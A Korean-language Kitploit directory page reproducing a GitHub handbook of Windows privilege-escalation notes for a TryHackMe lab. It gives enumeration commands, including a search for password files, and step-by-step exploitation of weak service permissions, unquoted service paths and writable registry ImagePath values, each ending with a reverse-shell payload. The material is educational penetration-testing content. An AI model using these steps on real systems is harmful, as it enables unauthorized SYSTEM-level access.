Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Windows-Privilege-Escalation-Notes — Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk | Kitploit
도구/GitHubGitHub/saisathvik1/windows-privilege-escalation-notes
Privilege EscalationPassword AttacksExploitationInformation GatheringPost-ExploitationCTFPenetration TestingLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
saisathvik1/windows-privilege-escalation-notes

Windows-Privilege-Escalation-Notes

Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk

저장소 보기
5914344년 전Kitploit 검토 완료

Windows 권한 상승

  • 선호하는 룸은 https://tryhackme.com/room/windows10privesc 이지만, 원하는 것을 사용해도 됩니다.
  • 몇 가지 리소스,
    • https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
    • https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
    • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
    • https://www.fuzzysecurity.com/tutorials/16.html

Windows 머신의 계정 유형:

  • Administrator(로컬): 가장 많은 권한을 가진 사용자입니다.
  • Standard(로컬): 이 사용자들은 컴퓨터에 접근할 수 있지만 제한된 작업만 수행할 수 있습니다. 일반적으로 이러한 사용자는 시스템에 영구적이거나 필수적인 변경을 할 수 없습니다.
  • Guest: 이 계정은 시스템에 접근 권한을 부여하지만 사용자로 정의되지는 않습니다.
  • Standard(도메인): Active Directory를 통해 조직은 사용자 계정을 관리할 수 있습니다. 표준 도메인 계정은 로컬 관리자 권한을 가질 수 있습니다.
  • Administrator(도메인): 가장 권한이 많은 사용자로 간주될 수 있습니다. 조직의 도메인 전체에서 다른 사용자를 편집, 생성, 삭제할 수 있습니다.
  • SYSTEM: 이는 특별히 계정은 아니지만 Windows 서비스가 작업을 수행하기 위해 사용하는 계정이며, 이 계정도 더 높은 권한을 가지고 있습니다.

An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!


정보 수집:

  • 가장 좋은 리소스 중 하나: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
  1. whoami /priv - 현재 사용자의 권한
  2. net users - 모든 사용자 목록
  3. net user <username> - 특정 사용자의 세부 정보 목록
  4. qwinsta - 동시에 로그인된 다른 사용자
  5. net localgroup - 시스템에서 사용 가능한 그룹
  6. net localgroup <group-name> - 특정 그룹의 구성원 목록
  7. systeminfo - OS에 대한 모든 정보 제공
  8. hostname - 시스템의 호스트명
  9. findstr /si password *.txt - 텍스트 파일에서 'password'를 포함하는 파일을 찾는 데 사용
  10. wmic qfe get Caption,Description,HotFixID,InstalledOn - 보안 패치 및 관련 정보를 알려줌
  11. netstat -ano - 머신과 관련된 연결
  12. schtasks /query /fo LIST /v - 예약된 작업이 있는지 확인
  13. driverquery - 드라이버 관련 정보 목록
  14. sc query windefend - 안티바이러스 서비스 확인

Windows Exploit Suggester:

  • 대부분의 사람들이 사용하는 전설적인 도구입니다.
  • 이 도구를 사용하면 인터넷상의 60% 박스를 해결할 수 있습니다.
  • 링크: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • systeminfo 명령의 출력을 여러분의 머신에 복사하기만 하면 됩니다. 이것이 이 도구의 유일한 요구 사항입니다.
  • 프로 팁: 모든 종속성이 충족되었는지 확인하세요!

취약한 소프트웨어:

  • 여기서는 설치된 소프트웨어 버전을 찾고 취약한지 여부를 확인합니다.
  • wmic product get name,version,vendor - 제품 이름, 버전, 공급업체를 제공합니다. 이 명령은 우리가 필요한 것을 적절히 시각화해 줍니다.
  • 때때로 위 명령이 작동하지 않을 수 있으므로 wmic service list brief | findstr "Running"을 사용하고, 서비스에 대한 더 많은 정보를 얻으려면 sc qc <ServiceName>을 사용하세요.


Metasploit을 통한 권한 상승:

  • Metasploit에서 세션을 얻은 후 post/multi/recon/local_exploit_suggester라는 모듈을 실행하세요. 이 도구가 제대로 작동하도록 세션이 백그라운드에 있는지 확인하거나 meterpreter에서 간단히 로드할 수 있습니다.
  • 그러면 악용할 수 있는 몇 가지 모듈을 제안할 것이므로 시도해 보세요. 일부는 작동할 수도 있습니다(선택 사항).


WinPEAS:

  • 매우 유용한 자동화된 열거 스크립트입니다.
  • 최상의 사용을 위해 winpeas.exe --help를 실행하여 모든 옵션을 확인하세요.
  • 필요한 옵션만 실행하고 출력을 조정하세요.


커널 익스플로잇:

  • Windows Exploit Suggester라는 이 특정 도구를 사용하세요.
  • 먼저 systeminfo 명령을 실행하여 시스템 정보를 얻고, 그것을 파일에 복사한 다음 .txt 확장자로 이름을 지정하세요.
  • 이제 데이터베이스를 사용하여 도구를 실행하세요.
  • 여기서 커널 관련 익스플로잇을 찾으세요.
  • 해킹을 즐기세요!!


서비스 익스플로잇:

안전하지 않은 서비스 권한:

  • 여기서는 안전하지 않은 권한을 가진 서비스를 식별한 다음 이를 악용하려고 시도합니다.

  • 여기서 winpeas.exe servicesinfo 명령을 사용할 수 있으며, 매우 유용한 서비스들을 볼 수 있습니다.

  • 출력에서 흥미로운 부분 중 하나는 다음과 같습니다.```

    daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

- 그러나 더 자세한 정보를 얻기 위해 Microsoft에서 제공하는 **accesschk**라는 도구를 사용할 수 있습니다. 다음과 같이 실행하면 `accesschk.exe /accepteula -uwcqv <current-user> <service>`, 출력은,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

  • 하지만 핵심 부분은 서비스의 구성을 변경할 수 있는 service_change_config입니다.
  • sc qc <service>를 실행한 다음, 변경할 Binary_path_name(이 값은 binpath라고도 함)을 확인합니다.
  • 이제 셸 유형의 페이로드를 생성하여 대상 머신에 전송합니다.
  • 구성을 변경하는 구문은 sc config <service> <option>="<value>"입니다.
  • 이제 sc config daclsvc binpath="<path>"를 실행하고 서비스를 시작합니다: sc start daclsvc

따옴표 없는 서비스 경로:(USP)

  • 서비스의 경우 경로는 따옴표로 묶여 있어야 합니다. 만약 그렇게 묶여 있지 않다면, 그 허점을 악용하여 높은 권한을 얻을 수 있습니다.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- 더 자세한 정보를 얻으려면 **WinPEAS** 스크립트를 `servicesinfo` 옵션과 함께 사용하면 됩니다. 여기서 **Unquoted Service Path**를 악용할 수 있는지에 대한 정보를 확인할 수 있습니다. 제가 도구를 실행했을 때 출력에서 흥미로운 부분은 다음과 같습니다,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected  
  • 여기 출력에는 No quotes and Space Detected가 명확히 표시되므로 USP를 사용하여 이 특정 서비스를 악용할 수 있다고 결론을 내릴 수 있습니다.
  • 서비스에 대한 자세한 정보를 수집하려면 sc qc <service>를 사용하십시오.
  • 이제 accesschk를 사용하여 특정 위치 C:\Program Files\Unquoted Path Service의 권한을 확인해 보겠습니다. accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"를 실행하십시오. 출력:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators
- 읽기 및 쓰기 권한이 있습니다.
- 이제 페이로드를 생성하여 `C:\Program Files\Unquoted Path Service`에 붙여넣겠습니다. `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`를 통해, 여기서는 알파벳 순서상 이점도 있는 다른 이름으로 지정하고 있습니다.
- 이제 서비스를 시작합니다. `sc start unquotedsvc`, 우리는 관리자입니다!!!

-----------------------
### 약한 레지스트리 권한:
- 여기서는 레지스트리 권한이 약한 서비스를 악용하려고 합니다.
- 찾으려면 `servicesinfo` 옵션과 함께 `Winpeas`를 사용해야 합니다. 출력은 다음과 유사합니다.```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

이제 서비스 이름인 regsvc로 이동합니다. 이 서비스에 대해 자세히 알아보기 위해 sc qc regsvc를 실행하면 출력은 다음과 같습니다.``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

- 흥미로운 사실은 경로가 따옴표로 묶여 있어 **Unquoted Service Path** 취약점이 없다는 것입니다.
- 이제 `accesschk.exe`를 실행하고 더 깊이 살펴보겠습니다. `accesschk /acceptula -uvwqk <path of registry>`(즉 `HKLM\system\currentcontrolset\services\regsvc`)를 실행하세요.
- 출력에서 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`를 찾으면 이제 악용할 준비가 된 것입니다.
- 이제 `reg query HKLM\system\currentcontrolset\services\regsvc`를 사용하여 레지스트리 내의 옵션을 살펴보겠습니다. `ImagePath`라는 실행 파일 값을 받는 옵션을 찾았으니 이를 악용해 봅시다. 먼저 리버스 셸을 생성하세요.
- 이제 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`를 실행하세요. 페이로드 경로는 자신의 필요에 따라 선택하세요.
- 이제 서비스를 실행하세요. `net start regsvc`를 실행하면 만세! 셸을 획득했습니다.
도구 다운로드